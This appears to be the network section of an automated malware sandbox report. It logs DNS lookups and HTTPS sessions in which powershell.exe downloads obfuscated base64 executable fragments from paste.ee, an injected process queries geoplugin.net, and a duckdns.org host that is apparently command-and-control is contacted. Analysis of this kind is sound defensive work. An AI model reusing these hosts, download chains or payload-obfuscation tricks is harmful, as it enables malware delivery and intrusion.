Oct 22, 2024 06:17:03.118999958 CEST	192.168.2.4	1.1.1.1	0x14b1	Standard query (0)	ftp.desckvbrat.com.br	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:07.919241905 CEST	192.168.2.4	1.1.1.1	0xabc7	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:15.074580908 CEST	192.168.2.4	1.1.1.1	0xc9df	Standard query (0)	b2case.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:23.253169060 CEST	192.168.2.4	1.1.1.1	0xf38c	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:25.653739929 CEST	192.168.2.4	1.1.1.1	0x6b15	Standard query (0)	iwarsut775laudrye001.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:28.328073025 CEST	192.168.2.4	1.1.1.1	0x3b17	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 22, 2024 06:17:03.517076969 CEST	1.1.1.1	192.168.2.4	0x14b1	No error (0)	ftp.desckvbrat.com.br	desckvbrat.com.br		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 06:17:03.517076969 CEST	1.1.1.1	192.168.2.4	0x14b1	No error (0)	desckvbrat.com.br		191.252.83.213	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:07.930574894 CEST	1.1.1.1	192.168.2.4	0xabc7	No error (0)	paste.ee		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:07.930574894 CEST	1.1.1.1	192.168.2.4	0xabc7	No error (0)	paste.ee		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:15.087922096 CEST	1.1.1.1	192.168.2.4	0xc9df	No error (0)	b2case.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:15.087922096 CEST	1.1.1.1	192.168.2.4	0xc9df	No error (0)	b2case.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:23.261068106 CEST	1.1.1.1	192.168.2.4	0xf38c	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:23.261068106 CEST	1.1.1.1	192.168.2.4	0xf38c	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:23.261068106 CEST	1.1.1.1	192.168.2.4	0xf38c	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:25.769793034 CEST	1.1.1.1	192.168.2.4	0x6b15	No error (0)	iwarsut775laudrye001.duckdns.org		43.226.229.232	A (IP address)	IN (0x0001)	false
Oct 22, 2024 06:17:28.337229013 CEST	1.1.1.1	192.168.2.4	0x3b17	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

paste.ee

b2case.com

pastebin.com

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	178.237.33.50	80	8160	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 06:17:28.361958027 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Oct 22, 2024 06:17:29.198045015 CEST	1165	IN	HTTP/1.1 200 OK date: Tue, 22 Oct 2024 04:17:29 GMT server: Apache content-length: 957 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4b 69 6c 6c 65 65 6e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 54 65 78 61 73 22 2c 0a 20 20 22 67 65 6f 70 [TRUNCATED] Data Ascii: { "geoplugin_request":"173.254.250.76", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"Killeen", "geoplugin_region":"Texas", "geoplugin_regionCode":"TX", "geoplugin_regionName":"Texas", "geoplugin_areaCode":"", "geoplugin_dmaCode":"625", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"31.0065", "geoplugin_longitude":"-97.8406", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/Chicago", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	188.114.96.3	443	1928	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:08 UTC	67	OUT	GET /d/jm8qu/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-22 04:17:08 UTC	1228	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:08 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a1Mhy3LlfQUal%2BaUeetc5VDzVhjjNh5zmfp4qmf9owzPZ4fg61B6aHXiTZOxxmYTOIKPTLX0VCMocPzTajkN5JcuSACTiSoTz1NOfHAS1YnZVSKGqOynDw0SBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d66ad0d1f384605-DFW alt-svc: h3=":443"; ma=86400
2024-10-22 04:17:08 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 30 38 39 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 36 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 36 30 31 39 37 36 26 63 77 6e 64 3d 32 34 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 39 36 39 35 33 34 32 36 32 37 32 30 38 38 63 65 26 74 73 3d 32 31 36 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1089&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=681&delivery_rate=2601976&cwnd=249&unsent_bytes=0&cid=96953426272088ce&ts=216&x=0"
2024-10-22 04:17:08 UTC	1369	IN	Data Raw: 31 66 37 66 0d 0a 54 56 71 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 2f 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 Data Ascii: 1f7fTVqQ::M::::E:::://8::Lg:::::::::Q:::::::::::::
2024-10-22 04:17:08 UTC	1369	IN	Data Raw: 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d 68 49 e2 86 Data Ascii: B:::B::::::E:::E::::::::B:::::::::::::::MhI
2024-10-22 04:17:08 UTC	1369	IN	Data Raw: e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 75 63 6e 4e 79 59 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 67 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 Data Ascii: :::I::::::::::::::::::C:::G:ucnNyYw:::GgD::::Y::
2024-10-22 04:17:08 UTC	1369	IN	Data Raw: 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 6f 6f 43 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 69 6f e2 86 93 3a e2 86 93 45 7a e2 86 93 3a e2 86 93 44 e2 86 93 3a e2 86 93 45 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 Data Ascii: ::::::::::::::::::::::BooCg::Bio:Ez:D:E8:::::::
2024-10-22 04:17:08 UTC	1369	IN	Data Raw: 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 51 49 6f 43 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6a 6e 79 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 59 30 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 4a 52 5a 79 31 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 63 42 63 6f 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 71 49 6c 46 77 57 69 4a 52 68 79 42 77 45 e2 86 93 3a e2 86 93 63 42 6b 6f 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 71 49 6c 47 52 6b 6f 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 71 49 6c 47 6e 4a 48 e2 86 93 3a e2 86 93 51 42 77 46 69 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 6f 69 55 62 42 4b 49 6c 48 Data Ascii: ::EQIoCQ::Cjny::::HY0C:::BJRZy1Q::cBcoCw::BqIlFwWiJRhyBwE:cBkoCw::BqIlGRkoB:::BqIlGnJH:QBwFigL:::GoiUbBKIlH
2024-10-22 04:17:08 UTC	1226	IN	Data Raw: 93 3a e2 86 93 43 71 49 6c 47 6e 49 6d e2 86 93 3a e2 86 93 77 42 77 47 79 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 6f 69 55 62 42 6d 38 53 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 6f 69 55 63 63 69 6f 44 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 64 4b e2 86 93 3a e2 86 93 73 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 61 69 4b e2 86 93 3a e2 86 93 6f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 57 46 68 55 6f 44 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 5a 79 4c 67 4d e2 86 93 3a e2 86 93 63 42 6f 6f 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 6e 34 46 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 63 6c e2 86 93 3a e2 86 Data Ascii: :CqIlGnIm:wBwGygL:::GoiUbBm8S:::KoiUccioD:H:dK:s:::aiK:o:::oWFhUoDQ::CiZyLgM:cBooCw::Bn4F:::Ecl:
2024-10-22 04:17:08 UTC	1369	IN	Data Raw: 37 30 30 30 0d 0a 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 55 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 73 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 78 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 33 38 52 42 68 64 e2 86 93 3a e2 86 93 68 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 58 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 45 77 63 58 4b 39 4d 57 45 77 67 59 4b 38 30 72 61 78 45 48 45 51 69 61 62 78 67 e2 86 93 3a e2 Data Ascii: 7000::I::::U::::Gg:::Cs::::x::::K38RBhd:hQ:::CgX:::KEwcXK9MWEwgYK80raxEHEQiabxg:
2024-10-22 04:17:08 UTC	1369	IN	Data Raw: 86 93 43 69 59 63 4f 4f 66 39 2f 2f 38 47 4b 42 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 74 4e 58 4c 38 42 51 42 77 48 53 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 42 6e 49 69 42 67 42 77 48 43 67 4c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 4b 42 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 57 46 68 55 6f 44 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 59 64 4f 4c 54 39 2f 2f 38 67 36 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 42 68 73 6f 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 6e 49 6d 42 67 42 77 48 69 67 4c e2 86 93 Data Ascii: CiYcOOf9//8GKBw:::otNXL8BQBwHSgL:::GBnIiBgBwHCgL:::GKBM:::oWFhUoDQ::CiYdOLT9//8g6:M::CgE:::KBhsoB:::BnImBgBwHigL
2024-10-22 04:17:08 UTC	1369	IN	Data Raw: 93 43 69 67 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 47 43 75 66 49 49 67 54 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 68 6b 72 6b 69 67 50 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 47 69 75 4b 33 67 42 2b e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 30 66 43 6a 68 52 2f 50 2f 2f 66 67 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 54 42 42 38 4c 4f 45 50 38 2f 2f 39 7a 49 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 68 4d 46 45 51 55 6c 4b 43 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 70 76 4a 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 Data Ascii: CigM:::KGCufIIgT:::oB:::ChkrkigP:::KGiuK3gB+:Q::Cg0fCjhR/P//fgE:::oTBB8LOEP8//9zIw::ChMFEQUlKCQ:::pvJQ::

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	188.114.96.3	443	1928	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:13 UTC	43	OUT	GET /d/d80GV/0 HTTP/1.1 Host: paste.ee
2024-10-22 04:17:13 UTC	1230	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:13 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vtQA7R2xv0jWZEy1V9SIKto354JpdaKXLbwUsNDDy2P4%2BQ7gYCfnT1GC6n8H44LHnAMBagtiTZQvFm%2FHqgA1cWz1POl3AB9aEA3pbKcStICUjTHwFCAPDApDew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d66ad2b4dd3eae9-DFW alt-svc: h3=":443"; ma=86400
2024-10-22 04:17:13 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 34 34 39 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 36 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 30 37 33 30 31 33 26 63 77 6e 64 3d 32 34 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 33 36 64 65 64 33 33 66 66 66 61 35 31 31 63 62 26 74 73 3d 32 39 37 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1449&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=681&delivery_rate=2073013&cwnd=242&unsent_bytes=0&cid=36ded33fffa511cb&ts=297&x=0"
2024-10-22 04:17:13 UTC	1318	IN	Data Raw: 66 37 66 0d 0a 54 56 71 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 2f 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 Data Ascii: f7fTVqQ::M::::E:::://8::Lg:::::::::Q:::::::::::::
2024-10-22 04:17:13 UTC	1369	IN	Data Raw: 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 59 49 55 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a Data Ascii: ::::M:YIU::B:::B::::::E:::E::::::::B:::::::::
2024-10-22 04:17:13 UTC	1287	IN	Data Raw: 86 93 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 30 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 75 63 6e 4e 79 59 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 Data Ascii: :g::::0g::::I::::::::::::::::::C:::G:ucnNyYw:::
2024-10-22 04:17:13 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 Data Ascii: 7ffa::::::::::::::::::::::::::::::::::::
